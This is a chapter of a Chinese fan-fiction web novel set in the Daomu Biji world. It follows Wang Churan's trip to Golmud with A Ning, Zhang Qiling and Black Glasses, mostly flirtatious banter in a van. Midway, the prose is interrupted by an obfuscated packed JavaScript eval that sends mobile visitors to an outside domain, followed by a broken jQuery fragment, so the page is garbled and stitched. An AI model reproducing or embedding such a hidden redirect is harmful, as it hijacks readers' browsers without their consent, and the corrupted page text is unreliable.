默认冷灰
24号文字
方正启体

第70章 格尔木疗养院

作者:许多许多多多本书字数:K更新时间:
    过了两天,汪楚染正窝在沙发里翻一本旧笔记,以为格尔木的事会暂时和自己无关,手机却突然响了,屏幕上跳动着“阿宁”的名字。


    她接起电话,听筒里传来阿宁一贯干脆的声音:“明天上午九点,机场集合,去格尔木。”


    汪楚染握着手机的手指顿了顿,心里那点侥幸终究落了空,她应了声:“好的。”


    “对了,”阿宁补充道,“吴邪那边不太情愿合作,嘴硬得很。老板这边找了两名顾问,说是对那边的情况熟,到时候你见了就知道。”


    汪楚染“嗯”了一声,没问是谁。


    干这行这么久,她早就明白,该知道的总会知道,不该问的问了也是白搭,不如省点力气。


    挂了电话,她起身走到窗边,拉开窗帘看了眼外面的天,阳光刺眼得很,却照不进心里那点沉郁——去格尔木,意味着又要踏入未知的险境。


    第二天一早,汪楚染拖着一个塞得半满的登山包赶到机场。


    候机大厅里,一群穿着迷彩服、身形彪悍的男人正聚在角落,身上带着股生人勿近的气场——不用问,这就是公司请来的雇佣兵。


    她找了个离他们不远不近的位置坐下,百无聊赖地翻着手机,等阿宁。


    阿宁说的“顾问”迟迟没露面,直到登机口开始检票,她才看到阿宁快步走过来,身后跟着两个人。


    走在前面的是黑眼镜,依旧那副吊儿郎当的样子,墨镜在晨光下闪着光;而跟在他身后的,是张起灵。


    看到张起灵的那一刻,汪楚染的心跳莫名漏了一拍。


    他出来了,从青铜门里出来了。


    这个认知让她心里涌起一丝难以言喻的高兴,像压在心头的一块石头终于落了地。


    张起灵大家都熟,阿宁也就没特意介绍,只指着黑眼镜对她说:“这位是黑眼镜,这次行动的顾问之一。”


    黑眼镜的目光很快扫到汪楚染,冲她扬了扬下巴,语气熟稔得像是老熟人:“汪楚染,你看咱们有缘吧?又见面了。”


    阿宁挑眉,看向汪楚染:“你们认识?”


    汪楚染点点头,没多说。


    上了飞机,找到座位坐下,汪楚染才趁着周围人没注意,凑到旁边的阿宁耳边小声问:“张起灵怎么会成了公司的顾问?”


    阿宁叹了口气,声音压得很低:“云顶天宫那一次,折了太多人手,公司元气大伤。现在行事谨慎多了,很多活儿都不敢只靠自己人,得从外面雇些有本事的。”


    她顿了顿,语气里带着点自嘲,“这次行动,张起灵和黑眼镜是主要负责人,我也就是个副手,负责情报和接应。呵,老板说了,以后专业的事,就让专业人士去做。”


    汪楚染这才恍然大悟。


    难怪在候机厅看到那么多生面孔的雇佣兵,连张起灵和黑眼镜都被请来了。


    她看向斜前方靠窗的位置,张起灵正闭目养神,侧脸在舷窗透进来的光线下显得愈发清冷。


    他为什么会答应来?是为了钱,还是有别的原因?


    心里的疑问像泡泡似的冒出来,但她知道现在不是问的时候。


    飞机引擎发出轰鸣,开始在跑道上滑行,然后猛地拉升,冲向云层。


    从成都转机到格尔木,落地时已是傍晚,戈壁的风裹着沙砾扑面而来,带着股凛冽的寒意。


    机场外停着十几辆车,阿宁指挥着大部分雇佣兵和队员先开车出发,去预定地点搭建营地、准备物资,自己则带着汪楚染、张起灵和黑眼镜上了一辆依维柯。


    依维柯里空间不算宽敞,阿宁坐在副驾驶座,回头简单交代了句:“录像带里的线索指向格尔木疗养院,里面有咱们用得上的东西。”


    汪楚染坐在中间的座位,没多问具体是什么。


    黑眼镜和张起灵则在最后排坐下,一个靠着椅背闭目养神,一个指尖无意识地摩挲着膝盖,周身气场依旧清冷。


    车子刚驶离机场,黑眼镜就凑了过来,胳膊搭在中间座椅的靠背上,冲汪楚染笑得不正经。


    “汪楚染,你看咱俩这缘分,都快赶上牛郎织女了,留个电话?以后也好常联系。”


    汪楚染瞥他一眼,见他眼里满是戏谑,反而勾唇笑了,干脆利落地报出一串号码:“记好了,别弄丢了。”


    黑眼镜挑眉,还真拿出手机存上,嘴里念叨着:“还是染染痛快。”


    汪楚染没理他,扭头看向后排的张起灵,犹豫了一下还是开了口,声音放得不算低:“你什么时候从青铜门出来的?里面到底有什么?”


    张起灵抬起眼,目光落在她脸上,漆黑的瞳孔深不见底,却依旧什么都没说。


    汪楚染心里的火“噌”地一下就上来了。


    又是这样!


    一副拒人于千里之外的死样子,好像多说一个字会掉块肉似的。


    她猛地别过脸,心里暗暗发誓:以后再主动跟他说话,自己就是狗!简直是自讨没趣。


    刚生着气,黑眼镜忽然挪到她旁边的空位坐下,身体凑近,温热的气息几乎要喷在她耳廓上,压低声音说:“他不说,咱们说呀,别跟木头置气。”


    汪楚染侧头看他,眼里还带着点没消的火气。


    黑眼镜却笑得更欢了,嘴唇几乎要碰到她的耳朵,声音轻得像耳语:“青铜门里啊……有‘终极’。”


    温热的气息吹得耳廓痒痒的,汪楚染下意识缩了缩脖子,好奇心却被勾了起来,也跟着小声问:“什么是终极?”


    “想知道?”黑眼镜挑眉,眼里的戏谑更深了,“亲我一口,我就告诉你。”


    汪楚染抬手就在他胳膊上使劲捶了一下,又羞又气地瞪他,“爱说不说!”


    黑眼镜笑着躲开,故意逗她:“哎,别动手啊,我说我说……其实我也不知道。”


    汪楚染被黑瞎子气笑了,伸手又想去拍他,却被他灵活躲开。


    黑瞎子顺势往后靠了靠,嘴里还不闲着:“哎,别动手动脚的,让人看见还以为我欺负你呢。再说了,我这不是怕你路上无聊嘛。”


    “谁无聊了?”


    两人你一言我一语地聊着,从以前倒斗时遇到的趣事,说到圈子里的奇闻异事,偶尔阿宁也会回头插两句嘴,车厢里的气氛倒比刚才轻松了不少。


    黑瞎子这人虽然嘴贫,却很会聊天,总能把话题引到让人感兴趣的地方,汪楚染不知不觉间也放松了下来。


    聊得兴起时,她下意识地回头瞥了一眼后排。


    张起灵还坐在那里,背挺得笔直,侧脸在昏暗的光线下线条分明,只是那脸色依旧黑沉沉的,像是谁欠了他几百万。


    汪楚染心里不由得嘀咕:瞧瞧这张脸,明明生得这么俊俏,怎么偏偏就跟个闷葫芦似的,三棍子打不出个屁来。


    她越想越觉得气闷,尤其是想到他对吴邪那副虽然话少、却明显不同的态度,心里竟莫名地涌上一股酸意。


    她撇了撇嘴,转回头不再看他,反正这人也不爱搭理人,她才不稀罕热脸贴冷屁股呢。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231478|181796||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黑瞎子用胳膊肘轻轻碰了碰她,语气里带了点恍然大悟:“原来你是裘德考公司的人,我说前阵子在杭州怎么翻遍了也没找着你呢。”


    汪楚染斜睨他一眼,手指在膝盖上敲了敲:“现在不是知道了?”


    “所以这就叫缘分。”黑瞎子笑得更得意了,墨镜后的眼睛仿佛都在发光,“兜兜转转,还是能遇上。”


    汪楚染不置可否地挑了挑眉,算是默认。


    黑瞎子又往前凑了凑,几乎要贴到她耳边:“那能告诉我你住哪儿吗?回头找你喝杯茶。”


    汪楚染上下打量他几眼,见他一脸戏谑,忽然倾身靠近,温热的气息也喷在他耳廓上,声音又轻又软,带着点捉弄的意味:“怎么,喜欢我?”


    黑瞎子明显愣了一下,随即低笑出声,笑声里满是毫不掩饰的揶揄:“喜欢呀,瞎子最喜欢美女了,尤其是你这样又厉害又有趣的。”


    汪楚染看不到他墨镜后面的眼睛,却能清晰地听出话里的玩笑意味,像在逗弄一只好奇的猫。


    她看着他勾唇一笑,笑容清亮又直接:“可惜,我不喜欢你。”


    这话够直白,够干脆,像一盆冷水,却没浇灭黑瞎子的兴致。


    他反而笑得更欢了,拍了拍她的肩膀:“没事,感情的事嘛,讲究个循序渐进。说不定哪天你就喜欢了呢?”


    汪楚染没再接话,只是嘴角噙着笑,转头看向窗外


    车窗外是戈壁的沉沉夜色,只有车灯在地面投下两道摇曳的光带,除此之外,便是无边无际的黑。


    黑眼镜见状,转头冲后排的张起灵挑了挑眉,眼里带着几分促狭的笑意。


    张起灵淡淡地看了他一眼,没什么表情,随即移开目光,望向窗外飞逝的黑暗,侧脸在微弱的光线下显得愈发冷硬。


    黑眼镜也不在意,耸耸肩靠回椅背上,干脆闭目养神,嘴里还哼起了不成调的小曲,在安静的车厢里显得有些突兀。


    汪楚染听着那小曲,闭上眼睛,心道:自己这是怎么了?不过是他几句话不说,几个眼神冷淡,至于这么在意吗?


    还为他动气、心里发酸,简直不像自己了。


    以后可不能再这样,被别人的情绪牵着走,太不像样。


    不知过了多久,车子猛地一停,阿宁的声音传来:“到了。”


    张起灵和黑眼镜下了车,身影几个起落,便像融入墨色的水滴,消失在疗养院的黑暗里。


    汪楚染收回目光,接过阿宁递来的面包,撕开包装小口吃着。


    戈壁的风刮在脸上,带着砂砾的粗糙感,让她清醒了不少。


    阿宁也咬着面包,视线落在前方那栋阴森的楼房上,语气里带着点玩味:“说起来也怪,让我没想到的是,一向好奇心重得像猫的吴邪,竟然对那盘录像带没表现出多大兴趣。”


    汪楚染咽下嘴里的面包,皱了皱眉:“他不可能不感兴趣。”


    以吴邪的性子,越是诡异的事,越能勾着他往前凑,更何况录像带里是他自己。


    阿宁笑了,眼里闪过一丝了然:“是啊,我也觉得。估计他不是不感兴趣,是早就自己偷偷进去了。”


    汪楚染抬眼看她:“你对吴邪还挺了解。”


    “打交道多了,自然就摸透了。”


    阿宁耸耸肩,语气随意,“就他那个性子,看着老实,骨子里犟得很,认定的事,八头牛都拉不回来。”


    两人没再说话,就着车灯的光,安静地吃着东西。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)